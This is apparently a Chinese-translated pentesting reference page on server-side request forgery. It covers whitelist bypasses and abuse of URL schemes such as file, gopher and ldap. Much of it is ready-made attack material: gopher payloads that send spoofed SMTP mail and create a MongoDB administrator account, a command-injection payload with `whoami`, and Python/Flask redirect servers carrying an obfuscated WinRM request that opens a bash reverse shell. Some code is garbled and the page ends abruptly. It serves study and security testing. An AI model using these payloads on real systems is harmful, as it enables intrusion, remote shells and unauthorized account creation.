使用 Trickest 轻松构建和 自动化工作流 ,由世界上 最先进 的社区工具提供支持。
今天就获取访问权限:
基本信息
服务器端请求伪造 (SSRF) 漏洞发生在攻击者操纵 服务器端应用程序 使其向他们选择的域发出 HTTP 请求 时。此漏洞使服务器暴露于攻击者指向的任意外部请求。
捕获 SSRF
您需要做的第一件事是捕获由您生成的 SSRF 交互。要捕获 HTTP 或 DNS 交互,您可以使用以下工具:
白名单域名绕过
通常,您会发现 SSRF 仅在 某些白名单域名 或 URL 中有效。在以下页面中,您有一个 尝试绕过该白名单的技术汇编 :
URL Format Bypass 通过开放重定向绕过
如果服务器得到了正确的保护,您可以 通过利用网页中的开放重定向绕过所有限制 。因为网页将允许 SSRF 到同一域 ,并且可能会 跟随重定向 ,您可以利用 开放重定向使服务器访问内部任何资源 。
在这里阅读更多: https://portswigger.net/web-security/ssrf
协议
URL 方案 file://
被引用,直接指向 /etc/passwd
: file:///etc/passwd
DICT URL 方案被描述为用于通过 DICT 协议访问定义或单词列表。给出的一个示例说明了一个构造的 URL,目标是特定单词、数据库和条目编号,以及一个 PHP 脚本可能被滥用以使用攻击者提供的凭据连接到 DICT 服务器: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
被识别为通过安全外壳进行安全文件传输的协议,提供了一个示例,展示了如何利用 PHP 脚本连接到恶意 SFTP 服务器: url=sftp://generic.com:11111/
提到简单文件传输协议,操作在 UDP 上,提供了一个 PHP 脚本的示例,旨在向 TFTP 服务器发送请求。向 'generic.com' 的端口 '12346' 发送 TFTP 请求以获取文件 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
本节涵盖轻量级目录访问协议,强调其用于管理和访问通过 IP 网络分布的目录信息服务。在本地主机上与 LDAP 服务器交互: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
描述了一种利用 SSRF 漏洞与本地主机上的 SMTP 服务交互的方法,包括揭示内部域名的步骤以及基于该信息的进一步调查行动。
Copy From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
Curl URL globbing - WAF 绕过
如果 SSRF 是通过 curl 执行的,curl 有一个叫做 URL globbing 的功能,这可能对绕过 WAF 有用。例如,在这个 writeup 中,你可以找到这个关于 通过 file
协议的路径遍历 的例子:
Copy file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
讨论了Gopher协议指定IP、端口和字节进行服务器通信的能力,以及像Gopherus和remote-method-guesser这样的工具用于构造有效载荷。展示了两种不同的用法:
Gopher://
使用此协议,您可以指定服务器要发送 的IP、端口和字节 。然后,您基本上可以利用SSRF与任何TCP服务器 进行通信 (但您需要先知道如何与该服务交谈)。
幸运的是,您可以使用Gopherus 为多个服务创建有效载荷。此外,remote-method-guesser 可用于为_Java RMI_服务创建_gopher_有效载荷。
Gopher smtp
Copy ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
Copy #For new lines you can use %0A, %0D%0A
gopher:// <server>:8080/_GET / HTTP/1.0%0A%0A
gopher:// <server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — 反向连接到 1337
Copy <? php
header ( "Location: gopher://hack3r.site:1337/_SSRF%0ATest!" ) ;
?> Now query it .
https : //example.com/?q=http://evil.com/redirect.php.
Gopher MongoDB -- 创建用户名为admin,密码为admin123,权限为administrator的用户
Copy # Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF通过引荐头和其他方式
服务器上的分析软件通常会记录引荐头以跟踪传入链接,这种做法无意中使应用程序暴露于服务器端请求伪造(SSRF)漏洞。这是因为此类软件可能会访问引荐头中提到的外部URL,以分析引用网站的内容。为了发现这些漏洞,建议使用Burp Suite插件“Collaborator Everywhere ”,利用分析工具处理Referer头的方式来识别潜在的SSRF攻击面。
SSRF通过证书中的SNI数据
一个可能通过简单设置启用与任何后端连接的错误配置通过一个示例Nginx配置进行说明:
Copy stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
在此配置中,服务器名称指示(SNI)字段中的值被直接用作后端的地址。此设置暴露了服务器端请求伪造(SSRF)漏洞,可以通过在SNI字段中仅指定所需的IP地址或域名来利用。以下是一个利用示例,强制连接到任意后端,例如 internal.host.com
,使用 openssl
命令:
Copy openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
SSRF 与命令注入
可以尝试一个有效载荷,例如: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDFs 渲染
如果网页自动创建一个包含您提供的信息的 PDF,您可以插入一些将由 PDF 创建者 (服务器)在创建 PDF 时执行的 JS,您将能够利用 SSRF。在这里找到更多信息 .
从 SSRF 到 DoS
创建多个会话并尝试利用会话中的 SSRF 下载大文件。
SSRF PHP 函数
请查看以下页面以获取易受攻击的 PHP 甚至 Wordpress 函数:
PHP SSRF SSRF 重定向到 Gopher
对于某些利用,您可能需要发送重定向响应 (可能使用不同的协议,如 gopher)。这里有不同的 Python 代码可以响应重定向:
Copy # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http . server import HTTPServer , BaseHTTPRequestHandler
import ssl
class MainHandler ( BaseHTTPRequestHandler ):
def do_GET ( self ):
print ( "GET" )
self . send_response ( 301 )
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self . end_headers ()
httpd = HTTPServer (( '0.0.0.0' , 443 ), MainHandler)
httpd . socket = ssl . wrap_socket (httpd.socket, certfile = "server.pem" , server_side = True )
httpd . serve_forever ()
Copy from flask import Flask , redirect
from urllib . parse import quote
app = Flask ( __name__ )
@app . route ( '/' )
def root ():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__" :
app . run (ssl_context = 'adhoc' , debug = True , host = "0.0.0.0" , port = 8443 )
使用 Trickest 轻松构建和 自动化工作流 ,由世界上 最先进 的社区工具提供支持。
立即获取访问权限:
配置错误的代理导致 SSRF
技巧 来自这篇文章 。
Flask
Flask 代理漏洞代码```python from flask import Flask from requests import get
app = Flask('main ') SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''}) @app.route('/path:path ')
def proxy(path): return get(f'{SITE_NAME}{path}').content
if name == "main ": app.run(threaded=False)
Copy </details>
Flask 允许使用 **`@`** 作为初始字符,这使得 **初始主机名成为用户名** 并注入一个新的主机名。攻击请求:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
易受攻击的代码:
发现可以用字符 ;
开始请求的路径 ,这允许使用 @
并注入一个新的主机进行访问。攻击请求:
Copy GET ;@evil.com/url HTTP / 1.1
Host : target.com
Connection : close
PHP 内置 Web 服务器
Last updated 3 months ago